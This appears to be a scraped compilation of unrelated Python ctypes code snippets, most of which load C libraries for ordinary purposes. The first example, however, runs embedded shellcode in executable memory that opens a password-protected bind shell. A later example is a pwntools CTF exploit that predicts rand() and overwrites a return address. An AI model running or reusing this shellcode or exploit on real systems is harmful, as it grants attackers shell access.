Ejemplo n.º 1
0
  def temp_shellcode_run():

    libc = CDLL('libc.so.6')

    shellcode = ("\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05"
  "\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44"
  "\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec"
  "\x08\x6a\x31\x58\x48\x89\xe6\x99\x80\xc2\x10\x0f"
  "\x05\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x48\x83\xec"
  "\x10\x48\x31\xf6\x48\x89\xe6\xc6\x44\x24\xff\x10"
  "\x48\x83\xec\x01\x99\x48\x89\xe2\x0f\x05\x48\x89"
  "\xc7\x48\x31\xc0\x88\x44\x24\xff\x48\x83\xec\x01"
  "\x99\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10\x0f\x05"
  "\x48\xb8\x64\x6f\x6f\x6d\x65\x64\x72\x61\x57\x48"
  "\x8d\x3e\x48\xaf\x74\x07\x48\x31\xc0\x04\x3c\x0f"
  "\x05\x5f\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f"
  "\x05\x75\xf6\x56\x48\xbb\x2f\x62\x69\x6e\x2f\x2f"
  "\x73\x68\x53\x48\x89\xe7\x56\x48\x89\xe2\x57\x48"
  "\x89\xe6\x6a\x3b\x58\x0f\x05")

    sc = c_char_p(shellcode)
    size = len(shellcode)
    addr = c_void_p(libc.valloc(size))
    memmove(addr, sc, size)
    libc.mprotect(addr, size, 0x7)
    run = cast(addr, CFUNCTYPE(c_void_p))
    run()
Ejemplo n.º 2
0
    def test_CatchOutput(self):
        """
        """
        libc = CDLL(find_library("c"))

        with CatchOutput() as out:
            os.system('echo "abc"')
            libc.printf(b"def\n")
            print("ghi")
            print("jkl", file=sys.stdout)
            os.system('echo "123" 1>&2')
            print("456", file=sys.stderr)

        if PY2:
            if platform.system() == "Windows":
                self.assertEqual(out.stdout, '"abc"\ndef\nghi\njkl\n')
                self.assertEqual(out.stderr, '"123" \n456\n')
            else:
                self.assertEqual(out.stdout, "abc\ndef\nghi\njkl\n")
                self.assertEqual(out.stderr, "123\n456\n")
        else:
            # XXX: cannot catch the printf call to def in Py3k
            if platform.system() == "Windows":
                self.assertEqual(out.stdout, '"abc"\nghi\njkl\n')
                self.assertEqual(out.stderr, '"123" \n456\n')
            else:
                self.assertEqual(out.stdout, "abc\nghi\njkl\n")
                self.assertEqual(out.stderr, "123\n456\n")
Ejemplo n.º 3
0
def retrieve_libs(lib_prefix):
	libs = {}
	local_c_build = path.abspath(path.join(path.dirname(__file__),
		'..', '..', '..', 'build'))
	search_results = '\n'
	use_local = int(getenv('OPTKIT_USE_LOCALLIBS', 0))

	# NB: no windows support
	ext = "dylib" if uname()[0] == "Darwin" else "so"

	for device in ['gpu', 'cpu']:
		for precision in ['32', '64']:
			lib_tag = '{}{}'.format(device, precision)
			lib_name = '{}{}{}.{}'.format(lib_prefix, device, precision, ext)
			lib_path = path.join(getsitepackages()[0], '_optkit_libs',
								 lib_name)
			if use_local or not path.exists(lib_path):
				lib_path = path.join(local_c_build, lib_name)

			if path.exists(lib_path):
				libs[lib_tag] = CDLL(lib_path)
				libs[lib_tag].INITIALIZED = False
			else:
				msg = 'library {} not found at {}.\n'.format(lib_name, lib_path)
				search_results += msg
				libs[lib_tag] = None

	return libs, search_results
Ejemplo n.º 4
0
	def __getLib():
		if os.name == 'nt':
			fileName = "libvoikko-1.dll"
			if platform.architecture()[0] == "64bit":
				optionalDependencies = ["libgcc_s_seh-1.dll", "libstdc++-6.dll", "zlib1.dll", "libarchive-13.dll", "libhfstospell-5.dll"]
			else:
				optionalDependencies = ["libgcc_s_sjlj-1.dll", "libstdc++-6.dll", "zlib1.dll", "libarchive-13.dll", "libhfstospell-5.dll"]
		elif sys.platform == 'darwin':
			fileName = "libvoikko.1.dylib"
			optionalDependencies = ["libtinyxml2.3.dylib", "libarchive.13.dylib", "libhfstospell.5.dylib"]
		else:
			fileName = "libvoikko.so.1"
			optionalDependencies = []
		if Voikko._sharedLibrarySearchPath is not None:
			try:
				return CDLL(Voikko._sharedLibrarySearchPath + os.sep + fileName)
			except:
				optDeps = []
				for optionalDep in optionalDependencies:
					try:
						optDeps.append(CDLL(Voikko._sharedLibrarySearchPath + os.sep + optionalDep))
					except:
						pass
				try:
					cdll = CDLL(Voikko._sharedLibrarySearchPath + os.sep + fileName)
					cdll.voikkoDeps = optDeps
					return cdll
				except:
					pass
		return CDLL(fileName)
Ejemplo n.º 5
0
def cfree(mem):
    """Free memory allocated by malloc in the call to add1()."""
    libc_name = util.find_library('c')
    libc = CDLL(libc_name)
    libc.free.restype = None
    libc.free.argtypes = [POINTER(None)]
    libc.free(mem)
Ejemplo n.º 6
0
 def _call_sync(self):
     from ctypes import CDLL
     libc = CDLL("libc.so.6")
     libc.sync()
     libc.sync()
     libc.sync()
     self._sleep_after_sync()
Ejemplo n.º 7
0
def load_libsodium():
    global loaded, libsodium, buf

    from ctypes.util import find_library
    for p in ('sodium', 'libsodium', ):
        libsodium_path = find_library(p)
        if libsodium_path:
            break
    else:
        if os.name == "nt" and os.path.isfile('./Python27/libsodium.dll'):
            libsodium_path = './Python27/libsodium.dll'
    if not libsodium_path:
        raise IOError(0, 'libsodium not found')
    logging.info('loading libsodium from %s', libsodium_path)
    libsodium = CDLL(libsodium_path)
    libsodium.sodium_init.restype = c_int
    libsodium.crypto_stream_salsa20_xor_ic.restype = c_int
    libsodium.crypto_stream_salsa20_xor_ic.argtypes = (c_void_p, c_char_p,
                                                       c_ulonglong,
                                                       c_char_p, c_ulonglong,
                                                       c_char_p)
    libsodium.crypto_stream_chacha20_xor_ic.restype = c_int
    libsodium.crypto_stream_chacha20_xor_ic.argtypes = (c_void_p, c_char_p,
                                                        c_ulonglong,
                                                        c_char_p, c_ulonglong,
                                                        c_char_p)

    libsodium.sodium_init()

    buf = create_string_buffer(buf_size)
    loaded = True
Ejemplo n.º 8
0
def load_libsodium():
    global loaded, libsodium, buf

    from ctypes.util import find_library
    for p in ('sodium', 'libsodium'):
        libsodium_path = find_library(p)
        if libsodium_path:
            break
    else:
        raise Exception('libsodium not found')
    logging.info('loading libsodium from %s', libsodium_path)
    libsodium = CDLL(libsodium_path)
    libsodium.sodium_init.restype = c_int
    libsodium.crypto_stream_salsa20_xor_ic.restype = c_int
    libsodium.crypto_stream_salsa20_xor_ic.argtypes = (c_void_p, c_char_p,
                                                       c_ulonglong,
                                                       c_char_p, c_ulonglong,
                                                       c_char_p)
    libsodium.crypto_stream_chacha20_xor_ic.restype = c_int
    libsodium.crypto_stream_chacha20_xor_ic.argtypes = (c_void_p, c_char_p,
                                                        c_ulonglong,
                                                        c_char_p, c_ulonglong,
                                                        c_char_p)

    libsodium.sodium_init()

    buf = create_string_buffer(buf_size)
    loaded = True
Ejemplo n.º 9
0
    def test_noctypes_argtype(self):
        import _ctypes_test
        from ctypes import CDLL, c_void_p, ArgumentError
        func = CDLL(_ctypes_test.__file__)._testfunc_p_p
        func.restype = c_void_p
        self.assertRaises(TypeError, setattr, func, 'argtypes', (object,))

        class Adapter(object):

            def from_param(cls, obj):
                return None

        func.argtypes = (Adapter(),)
        self.assertEqual(func(None), None)
        self.assertEqual(func(object()), None)

        class Adapter(object):

            def from_param(cls, obj):
                return obj

        func.argtypes = (Adapter(),)
        self.assertRaises(ArgumentError, func, object())
        self.assertEqual(func(c_void_p(42)), 42)

        class Adapter(object):

            def from_param(cls, obj):
                raise ValueError(obj)

        func.argtypes = (Adapter(),)
        self.assertRaises(ArgumentError, func, 99)
        return
Ejemplo n.º 10
0
Archivo: db.py Proyecto: cauan/acd_cli
def init(path=''):
    logger.info('Initializing cache with path "%s".' % os.path.realpath(path))
    db_path = os.path.join(path, DB_FILENAME)

    # doesn't seem to work on Windows
    from ctypes import util, CDLL

    try:
        lib = util.find_library('sqlite3')
    except OSError:
        logger.info('Skipping sqlite thread-safety test.')
    else:
        if lib:
            dll = CDLL(lib)
            if dll and not dll.sqlite3_threadsafe():
                # http://www.sqlite.org/c3ref/threadsafe.html
                logger.warning('Your sqlite3 version was compiled without mutexes. It is not thread-safe.')

    global Session
    global engine
    engine = create_engine('sqlite:///%s' % db_path, connect_args={'check_same_thread': False})

    # check for serialized mode

    uninitialized = not os.path.exists(db_path)
    if not uninitialized:
        try:
            uninitialized = not engine.has_table(Metadate.__tablename__) and \
                            not engine.has_table(Node.__tablename__) and \
                            not engine.has_table(File.__tablename__) and \
                            not engine.has_table(Folder.__tablename__)
        except DatabaseError:
            logger.critical('Error opening database.')
            return False

    integrity_check()

    if uninitialized:
        r = engine.execute('PRAGMA user_version = %i;' % DB_SCHEMA_VER)
        r.close()

    logger.info('Cache %sconsidered uninitialized.' % ('' if uninitialized else 'not '))

    Base.metadata.create_all(engine)
    session_factory = sessionmaker(bind=engine)
    Session = scoped_session(session_factory)

    if uninitialized:
        return True

    r = engine.execute('PRAGMA user_version;')
    ver = r.first()[0]
    r.close()

    logger.info('DB schema version is %s.' % ver)

    if DB_SCHEMA_VER > ver:
        _migrate(ver)

    return True
class quasi_random(object):

    def __init__(self):
        path = "/Users/christian/Documents/PhD/research/code/c/"
        self.so = CDLL('%s/lib_custom_gsl.so' %path)

    def sobol_seq(self,output_array, start_dim, seed):
        array_1d_double = npct.ndpointer(dtype=numpy.double, ndim=1, flags='CONTIGUOUS')
        array_2d_double = npct.ndpointer(dtype=numpy.double, ndim=2, flags='CONTIGUOUS')

        self.so.sobol_seq.argtypes = [c_int, c_int, c_int, c_int, array_2d_double]
        self.so.sobol_seq.restype = c_int
        return self.so.sobol_seq(len(output_array), len(output_array[0]), start_dim, seed, output_array)

    def halton_seq(self,output_array, start_dim, seed):
        array_1d_double = npct.ndpointer(dtype=numpy.double, ndim=1, flags='CONTIGUOUS')
        array_2d_double = npct.ndpointer(dtype=numpy.double, ndim=2, flags='CONTIGUOUS')

        self.so.halton_seq.argtypes = [c_int, c_int, c_int, c_int, array_2d_double]
        self.so.halton_seq.restype = c_int
        return self.so.halton_seq(len(output_array), len(output_array[0]), start_dim, seed, output_array)

    def reversehalton_seq(self,output_array, start_dim, seed):
        array_2d_double = npct.ndpointer(dtype=numpy.double, ndim=2, flags='CONTIGUOUS')

        self.so.reversehalton_seq.argtypes = [c_int, c_int, c_int, c_int, array_2d_double]
        self.so.reversehalton_seq.restype = c_int
        return self.so.reversehalton_seq(len(output_array), len(output_array[0]), start_dim, seed, output_array)
Ejemplo n.º 12
0
def encrypt(key_string, data_file, scheme=FENC_SCHEME_KSFCP, group_params=group_params, public_params=public_params,
            enc_file='encrypted.txt', keyword_file=0, index_file='index.txt'):
    """
    @param key_string: Attribute string or Policy string
    @param data_file: Data file path for encryption
    @param scheme: ABE scheme
    @param group_params: Group parameters file path
    @param secret_params: Secret parameters file path
    @param public_params: Public parameters file path
    @param enc_file: Output encrypted file path (no postfix)
    @param keyword_file: Input keywords file path, to gen index, used in KSF
    @param index_file: Output index file path, used in KSF 
    @return: Encrytion status: 0 - OK, not 0 - ERROR
    """
    
    # param isXML: Output format, 0 - txt, 1 - XML
    isXML = 0
    # param ext: Output Encrypted file path extendion string (postfix)
    ext = enc_file[-3:]
    enc_file = enc_file[:-4]
    if ext.lower() == 'xml':
        isXML = 1
    
    libabe_enc = CDLL(libabe_enc_name)
    result = libabe_enc.abe_encrypt_from_file(scheme, key_string, group_params, public_params, data_file, enc_file, isXML, ext, keyword_file, index_file)
    return result
Ejemplo n.º 13
0
    def test_catch_output(self):
        """
        Tests for CatchOutput context manager.
        """
        libc = CDLL(find_library("c"))

        with CatchOutput() as out:
            os.system('echo "abc"')
            libc.printf(b"def\n")
            # This flush is necessary for Python 3, which uses different
            # buffering modes. Fortunately, in practice, we do not mix Python
            # and C writes to stdout. This can also be fixed by setting the
            # PYTHONUNBUFFERED environment variable, but this must be done
            # externally, and cannot be done by the script.
            libc.fflush(None)
            print("ghi")
            print("jkl", file=sys.stdout)
            os.system('echo "123" 1>&2')
            print("456", file=sys.stderr)

        if platform.system() == "Windows":
            self.assertEqual(out.stdout.splitlines(),
                             ['"abc"', 'def', 'ghi', 'jkl'])
            self.assertEqual(out.stderr.splitlines(),
                             ['"123" ', '456'])
        else:
            self.assertEqual(out.stdout, b"abc\ndef\nghi\njkl\n")
            self.assertEqual(out.stderr, b"123\n456\n")
Ejemplo n.º 14
0
    def test_CatchOutput(self):
        """
        """
        libc = CDLL(find_library("c"))

        with CatchOutput() as out:
            os.system('echo "abc"')
            libc.printf(b"def\n")
            print("ghi")
            print("jkl", file=sys.stdout)
            os.system('echo "123" 1>&2')
            print("456", file=sys.stderr)

        if PY2:
            if platform.system() == "Windows":
                self.assertEqual(out.stdout, '"abc"\ndef\nghi\njkl\n')
                self.assertEqual(out.stderr, '"123" \n456\n')
            else:
                self.assertEqual(out.stdout, "abc\ndef\nghi\njkl\n")
                self.assertEqual(out.stderr, "123\n456\n")
        else:
            # XXX: cannot catch the printf call to def in Py3k
            # XXX: Introduces special characters on MAC OSX which
            #      avoid test report to be sent (see #743). Therefore
            #      test is skipped
            if platform.system() == "Windows":
                self.assertEqual(out.stdout, '"abc"\nghi\njkl\n')
                self.assertEqual(out.stderr, '"123" \n456\n')
            else:
                self.assertEqual(out.stdout, "abc\nghi\njkl\n")
                self.assertEqual(out.stderr, "123\n456\n")
Ejemplo n.º 15
0
    def test_noctypes_argtype(self):
        import _ctypes_test
        from ctypes import CDLL, c_void_p, ArgumentError

        func = CDLL(_ctypes_test.__file__)._testfunc_p_p
        func.restype = c_void_p
        # TypeError: has no from_param method
        self.assertRaises(TypeError, setattr, func, "argtypes", (object,))

        class Adapter(object):
            def from_param(cls, obj):
                return None

        func.argtypes = (Adapter(),)
        self.assertEqual(func(None), None)
        self.assertEqual(func(object()), None)

        class Adapter(object):
            def from_param(cls, obj):
                return obj

        func.argtypes = (Adapter(),)
        # don't know how to convert parameter 1
        self.assertRaises(ArgumentError, func, object())
        self.assertEqual(func(c_void_p(42)), 42)

        class Adapter(object):
            def from_param(cls, obj):
                raise ValueError(obj)

        func.argtypes = (Adapter(),)
        # ArgumentError: argument 1: ValueError: 99
        self.assertRaises(ArgumentError, func, 99)
Ejemplo n.º 16
0
def exists(name):
	"""Validates the name of a netgroup"""

	try:
		## try to switch to 'str' object rather than unicode
		name = name.encode('utf8')
	except Exception as ex:
		## ignore
		pass

	host,user,domain = c_char_p(None),c_char_p(None),c_char_p(None)
	libc = CDLL('libc.so.6')
	libc.setnetgrent(name)

	try:
		while libc.getnetgrent(_byref(host), _byref(user), _byref(domain)):
			libc.endnetgrent()
			return True

		libc.endnetgrent()
		return False

	except Exception as ex:
		libc.endnetgrent()
		return False
Ejemplo n.º 17
0
 def __fallocate_posix_fallocate(path, size):
     """
     Implementation of fallocate() function:
     create a sparse file using posix_fallocate() libc function.
     """
     libc = CDLL('libc.so.6')
     with open_wb(path) as fh:
         libc.posix_fallocate(fh.fileno(), 0, size)
Ejemplo n.º 18
0
def thumbprint(pem):
    """
    Returns the certificate thumbprint from
    a standard PEM string
    """
    c_thumb_lib = CDLL(os.path.join(MODULE_PATH, '..', 'cinepy.so'))
    c_thumb_lib.calc_thumbprint_from_string.restype = c_char_p;
    return c_thumb_lib.calc_thumbprint_from_string(pem, len(pem))
Ejemplo n.º 19
0
 def __init__(self):
     if system() == 'Linux':
         # libtoxcore and libsodium must be installed in your os
         self._libtoxcore = CDLL('libtoxcore.so')
     elif system() == 'Windows':
         self._libtoxcore = CDLL(util.curr_directory() + '/libs/libtox.dll')
     else:
         raise OSError('Unknown system.')
Ejemplo n.º 20
0
 def __init__(self):
     if system() == 'Linux':
         # be sure that libtoxcore and libsodium are installed in your os
         self._libtoxcore = CDLL('libtoxcore.so')
     elif system() == 'Windows':
         self._libtoxcore = CDLL('libs/libtox.dll')
     else:
         raise OSError('Unknown system.')
Ejemplo n.º 21
0
 def gather_pcap(self):
     pcap_location = ctutil.find_library('pcap')
     if(pcap_location):
         pcap = CDLL(ctutil.find_library('pcap'))
         pcap.pcap_lib_version.restype = c_char_p
         self.pcap_version = pcap.pcap_lib_version()
     else:
         self.pcap_version = "(none)"
Ejemplo n.º 22
0
 def __init__(self):
     system = platform.system()
     self.pslib = CDLL(PSLIBNAME_DICT[system])
     self.wslib = CDLL(WSLIBNAME_DICT[system])
    	self.wslib.create_dissector_handle.argtypes = WS_CREATE_DISSECTOR_HANDLE_ARGS
     self.wslib.create_dissector_handle.restype = WS_CREATE_DISSECTOR_HANDLE_RETURN
     self.wslib.dissector_add_uint.argtypes = WS_DISSECTOR_ADD_UINT_ARGS
     self.wslib.dissector_add_string.argtypes = WS_DISSECTOR_ADD_STRING_ARGS
class USC(object):
    _FRAME_LEN = 640

    def __init__(self, server_ip, server_port):
        self._server_host = server_ip
        self._server_port = server_port
        self._request = None
        self._propertys = None
        self._lib_encoder = CDLL('OpusEncoder.so')
        self._lib_encoder.initEncoder.argtypes = []
        self._lib_encoder.initEncoder.restype = c_long
        self._lib_encoder.destroy.argtypes = [c_long]
        self._lib_encoder.encode.argtypes = [c_long, c_char_p, c_char_p]
        self._lib_encoder.encode.restype = c_int
        self._encoder = self._lib_encoder.initEncoder()
        self._out_str = create_string_buffer(USC._FRAME_LEN)
        self._opusbuf = None
        return

    def usc_set_option(self, propertys):
        if not isinstance(propertys, list):
            return (-1, 'propertys not list')
        for item in propertys:
            if not isinstance(item, dict):
                return (-1, 'propertys item not dict')

        self._propertys = propertys
        return (0, 'ok')

    def usc_start_recognizer(self):
        self._request = Request(self._server_host, self._server_port, self._propertys)
        return self._request.start()

    def usc_feed_buffer(self, data, length):
        flush = False
        try:
            if len(data) < 640:
                data += '\x00' * (640 - len(data))
                flush = True
            data_len = self._lib_encoder.encode(self._encoder, data, self._out_str)
            send_datas = struct.pack('H' + str(data_len) + 's', data_len, self._out_str.raw)
            if not self._opusbuf:
                self._opusbuf = send_datas
            else:
                self._opusbuf = self._opusbuf + send_datas
            if len(self._opusbuf) >= 1000 or flush:
                self._request.sendDatas(self._opusbuf, len(self._opusbuf))
                time.sleep(0.1)
                self._opusbuf = None
            return (0, 'ok')
        except:
            print traceback.print_exc()
            return (-1, 'feed buffer error!')

        return

    def usc_get_result(self):
        return self._request.getResult()
Ejemplo n.º 24
0
def innetgr(netgroup,host=None,user=None,domain=None):
    '''
    innetgr(netgroup,host=host,user=user,domain=domain) -> bool

    Ask whether a host/user/domain tuple is part of a netgroup
    If no host,user or domain is passed then it returns true if the netgroup exists
    '''
    libc = CDLL(_libc_name)
    return bool(libc.innetgr(netgroup,host,user,domain))
Ejemplo n.º 25
0
 def __init__(self):
     if system() == 'Linux':
         # that /usr/lib/libtoxav.so must exists
         self._libtoxav = CDLL('libtoxav.so')
     elif system() == 'Windows':
         # on Windows av api is in libtox.dll
         self._libtoxav = CDLL(util.curr_directory() + '/libs/libtox.dll')
     else:
         raise OSError('Unknown system.')
Ejemplo n.º 26
0
 def __init__(self):
     if system() == 'Linux':
         # /usr/lib/libtoxencryptsave.so must exists
         self._lib_tox_encrypt_save = CDLL('libtoxencryptsave.so')
     elif system() == 'Windows':
         # on Windows profile encryption api is in libtox.dll
         self._lib_tox_encrypt_save = CDLL(util.curr_directory() + '/libs/libtox.dll')
     else:
         raise OSError('Unknown system.')
Ejemplo n.º 27
0
 def __init__(self):
     if system() == 'Linux':
         # be sure that /usr/lib/libtoxav.so exists
         self._libtoxav = CDLL('libtoxav.so')
     elif system() == 'Windows':
         # on Windows av api is in libtox.dll
         self._libtoxav = CDLL('libs/libtox.dll')
     else:
         raise OSError('Unknown system.')
Ejemplo n.º 28
0
def gethostid():
    libc_lib = find_library("c")
    if libc_lib:
        cdll.LoadLibrary(libc_lib)
        libc = CDLL(libc_lib)

        return libc.gethostid()
    else:
        return None
Ejemplo n.º 29
0
Archivo: rgw.py Proyecto: Psingh2/ceph
class Rgw(object):
    """librgw python wrapper"""
    def __init__(self):
        self.lib = CDLL('librgw.so.1')
        self.rgw = c_void_p(0)
        ret = self.lib.librgw_create(byref(self.rgw), 0)
        if (ret != 0):
            raise Exception("librgw_create failed with error %d" % ret)
    def __del__(self):
        self.lib.librgw_shutdown(self.rgw)
    def acl_bin2xml(self, blob):
        blob_buf = ctypes.create_string_buffer(blob[:])
        xml = c_char_p(0)
        ret = self.lib.librgw_acl_bin2xml(self.rgw, byref(blob_buf), len(blob), byref(xml))
        if (ret != 0):
            raise Exception("acl_bin2xml failed with error %d" % ret)
        rets = ctypes.string_at(xml)
        self.lib.librgw_free_xml(self.rgw, xml)
        return rets
    def acl_xml2bin(self, xml):
        blen = c_int(0)
        blob = c_void_p(0)
        ret = self.lib.librgw_acl_xml2bin(self.rgw, c_char_p(xml),
                                          byref(blob), byref(blen))
        if (ret != 0):
            raise Exception("acl_bin2xml failed with error %d" % ret)
        rets = ctypes.string_at(blob, blen)
        self.lib.librgw_free_bin(self.rgw, blob)
        return rets
Ejemplo n.º 30
0
	def gotThreadMsg(self, msg=None):
		
		from ctypes import CDLL
		SYS_gettid = 4222
		libc = CDLL("libc.so.6")
		tid = libc.syscall(SYS_gettid)
		splog('SP: Worker got message: ', currentThread(), _get_ident(), self.ident, os.getpid(), tid )
		
		data = self.__messages.pop()
		if callable(self.callback):
			self.callback(data)
Ejemplo n.º 31
0
# Using the ctypes `find_library` utility  to find the
# path to the GDAL library from the list of library names.
if lib_names:
    for lib_name in lib_names:
        lib_path = find_library(lib_name)
        if lib_path is not None:
            break

if lib_path is None:
    raise ImproperlyConfigured(
        'Could not find the GDAL library (tried "%s"). Is GDAL installed? '
        'If it is, try setting GDAL_LIBRARY_PATH in your settings.' %
        '", "'.join(lib_names))

# This loads the GDAL/OGR C library
lgdal = CDLL(lib_path)

# On Windows, the GDAL binaries have some OSR routines exported with
# STDCALL, while others are not.  Thus, the library will also need to
# be loaded up as WinDLL for said OSR functions that require the
# different calling convention.
if os.name == 'nt':
    from ctypes import WinDLL
    lwingdal = WinDLL(lib_path)


def std_call(func):
    """
    Return the correct STDCALL function for certain OSR routines on Win32
    platforms.
    """
Ejemplo n.º 32
0
        except OSError:
            return False
        return getxattr(fd.fileno(), 'user.name') == b'value'


def get_all(path, follow_symlinks=True):
    try:
        return dict(
            (name, getxattr(path, name, follow_symlinks=follow_symlinks))
            for name in listxattr(path, follow_symlinks=follow_symlinks))
    except OSError as e:
        if e.errno in (errno.ENOTSUP, errno.EPERM):
            return {}


libc = CDLL(find_library('c'), use_errno=True)


def _check(rv, path=None):
    if rv < 0:
        raise OSError(get_errno(), path)
    return rv


if sys.platform.startswith('linux'):  # pragma: linux only
    libc.llistxattr.argtypes = (c_char_p, c_char_p, c_size_t)
    libc.llistxattr.restype = c_ssize_t
    libc.flistxattr.argtypes = (c_int, c_char_p, c_size_t)
    libc.flistxattr.restype = c_ssize_t
    libc.lsetxattr.argtypes = (c_char_p, c_char_p, c_char_p, c_size_t, c_int)
    libc.lsetxattr.restype = c_int
Ejemplo n.º 33
0
try:
    _POSSIBLE_LIBRARY_LOCATIONS += site.getsitepackages()
except AttributeError:
    pass

try:
    _POSSIBLE_LIBRARY_LOCATIONS += [site.getusersitepackages()]
except AttributeError:
    pass

for lib_location in _POSSIBLE_LIBRARY_LOCATIONS:
    files = glob.glob(lib_location + "/vl53l1x_python*.so")
    if len(files) > 0:
        lib_file = files[0]
        try:
            _TOF_LIBRARY = CDLL(lib_file)
            #print("Using: " + lib_location + "/vl51l1x_python.so")
            break
        except OSError:
            #print(lib_location + "/vl51l1x_python.so not found")
            pass
else:
    raise OSError('Could not find vl53l1x_python.so')


class VL53L1X:
    """VL53L1X ToF."""
    def __init__(self,
                 i2c_bus=1,
                 i2c_address=0x29,
                 tca9548a_num=255,
Ejemplo n.º 34
0
"""Matrix powers kernel specializer."""

import akxconfig
from ctypes import CDLL, RTLD_GLOBAL, c_char, c_int, c_double, POINTER
import numpy
import time

__all__ = [
    "AkxObjectPy", "tb_partition", "threadblocks", "AkxBlock",
    "AkxImplicitSeq", "benchmark", "tile", "partition", "cgen", "tune",
    "gram_matrix", "combine_vecs"
]

if akxconfig.use_mkl:
    omp = CDLL("libiomp5.so", mode=RTLD_GLOBAL)
    mkl = CDLL("libmkl_rt.so")
elif akxconfig.use_acml:
    acml = CDLL("libacml_mp.so")

if akxconfig.specialize:
    import asp.codegen.templating.template
    import codepy.jit
    import codepy.toolchain
    import os

    thisdir = os.path.dirname(__file__)

    toolchain = codepy.toolchain.guess_toolchain()
    toolchain.cc = "gcc"
    toolchain.cflags = ["-O3", "-march=core2", "-msse3", "-fPIC"]
    toolchain.include_dirs.append(thisdir or '.')
Ejemplo n.º 35
0
from ctypes import CDLL
from time import sleep
import sys
import socket
import telnetlib

libc = CDLL('libc.so.6')
last_rand = None


def srand(seed):
    print 'srand:', hex(seed)
    libc.srand(seed)


def rand():
    r = libc.rand()
    print 'rand:', hex(r)
    last_rand = r
    return r


time = libc.time


def rw(t):
    d = ''
    while t not in d:
        c = p.recv(1)
        sys.stdout.write(c)
        if c == '':
Ejemplo n.º 36
0
from pwn import *
from ctypes import CDLL

if __name__ == "__main__":
    context.log_level = "debug"

    p = process('./viserions_call', env={"LD_PRELOAD": "./libc.so.6"})
    #p = remote('gc1.eng.run', 31459)
    libc = CDLL("libc.so.6")
    libc.srand(int(time.time()) & 0xffffff00)
    rand_val = libc.rand()

    gdb.attach(p, gdbscript='''b*main+95\n''')

    info("rand : %s" % rand_val)

    p.recvuntil('Name:\n')
    p.sendline(b'abcd')

    p.recvuntil('Password:\n')

    pay = b's3cur3_p4ssw0rd\x00'
    pay += b'\x00' * (0x1c - 8 - len(pay))
    pay += p64(0xffffffffff600000)
    pay += p64(rand_val)

    p.send(pay)

    ret_addr = 0xffffffffff600000
    pay = p64(ret_addr) * 27 + '\xdf'
Ejemplo n.º 37
0
# -*- coding: utf-8 -*-
"""
Michael Motro github.com/motrom/fastmurty 4/2/19
"""
import numpy as np
from ctypes import c_int, Structure, POINTER,\
                    RTLD_GLOBAL, CDLL, c_double, byref, c_char_p, c_bool

lib = CDLL("./mhtda.so", RTLD_GLOBAL)

sparse = False
""" c structures """


class Solution(Structure):
    _fields_ = [("x", POINTER(c_int)), ("y", POINTER(c_int)),
                ("v", POINTER(c_double))]


class Subproblem(Structure):
    _fields_ = [("buffer", c_char_p), ("m", c_int), ("n", c_int),
                ("rows2use", POINTER(c_int)), ("cols2use", POINTER(c_int)),
                ("eliminateels", POINTER(c_bool)), ("eliminatemiss", c_bool),
                ("solution", Solution)]


class QueueEntry(Structure):
    _fields_ = [("key", c_double), ("val", POINTER(Subproblem))]


class cs_di_sparse(Structure):
Ejemplo n.º 38
0
vasco_libs = []

# get the Vacman Controller lib
fallbacks = ["/opt/vasco/Vacman_Controller/lib/libaal2sdk.so"]

vasco_lib = config.get("linotpImport.vasco_dll")
if not vasco_lib:
    log.info("Missing linotpImport.vasco_dll in config file")
else:
    vasco_libs.append(vasco_lib)

vasco_libs.extend(fallbacks)
for vasco_lib in vasco_libs:
    try:
        log.debug("loading vasco lib %r", vasco_lib)
        vasco_dll = CDLL(vasco_lib)
        break
    except Exception as exx:
        log.info("cannot load vasco library: %r", exx)


# decorator: check_vasco
def check_vasco(fn):
    '''
    This is a decorator:
    checks if vasco dll is defined,
    it then runs the function otherwise returns NONE

    :param fn: function - the to be called function
    :return: return the function call result
    '''
Ejemplo n.º 39
0
            dataset_expected_outputs[i] = np.array([-1, -1, 1])
    print(dataset_inputs.shape)
    print(dataset_expected_outputs.shape)
    split_indexes = np.arange(len(dataset_inputs))
    np.random.shuffle(split_indexes)
    train_size = int(np.floor(len(dataset_inputs) * 0.7))
    x_train = dataset_inputs[split_indexes][:train_size]
    x_test = dataset_inputs[split_indexes][train_size:]
    y_train = dataset_expected_outputs[split_indexes][:train_size]
    y_test = dataset_expected_outputs[split_indexes][train_size:]

    return (x_train, y_train), (x_test, y_test)

if __name__ == "__main__":
    path_to_dll = "./Machine_Learning_Lib.dll"
    cpp_lib = CDLL(path_to_dll)

    #print(cpp_lib.test_sum(5, 4))

    cpp_lib.linear_model_create.argtypes = [ctypes.c_int]
    cpp_lib.linear_model_create.restype = ctypes.c_void_p

    cpp_lib.linear_model_predict_regression.argtypes = [ctypes.c_void_p,
                                                        ctypes.c_double * 1,
                                                        ctypes.c_int]
    cpp_lib.linear_model_predict_regression.restype = ctypes.c_double

    cpp_lib.linear_model_train_classification.argtypes = [ctypes.c_void_p,
                                                          ctypes.c_double * 1,
                                                          ctypes.c_int]
    cpp_lib.linear_model_train_classification.restype = ctypes.c_double
Ejemplo n.º 40
0
'''

# Import Python Libs
from __future__ import absolute_import
from ctypes import CDLL, POINTER, Structure, CFUNCTYPE, cast, pointer, sizeof
from ctypes import c_void_p, c_uint, c_char_p, c_char, c_int
from ctypes.util import find_library

# Import Salt libs
import salt.utils  # Can be removed once get_group_list is moved
from salt.ext.six.moves import range  # pylint: disable=import-error,redefined-builtin

# Import 3rd-party libs
from salt.ext import six

LIBPAM = CDLL(find_library('pam'))
LIBC = CDLL(find_library('c'))

CALLOC = LIBC.calloc
CALLOC.restype = c_void_p
CALLOC.argtypes = [c_uint, c_uint]

STRDUP = LIBC.strdup
STRDUP.argstypes = [c_char_p]
STRDUP.restype = POINTER(c_char)  # NOT c_char_p !!!!

# Various constants
PAM_PROMPT_ECHO_OFF = 1
PAM_PROMPT_ECHO_ON = 2
PAM_ERROR_MSG = 3
PAM_TEXT_INFO = 4
Ejemplo n.º 41
0
#!/usr/bin/python
#ref https://gist.github.com/pudquick/593fda0fd9e0191c748ac00cd4359702

from ctypes import CDLL, util, c_int, c_uint, byref, sizeof
import time

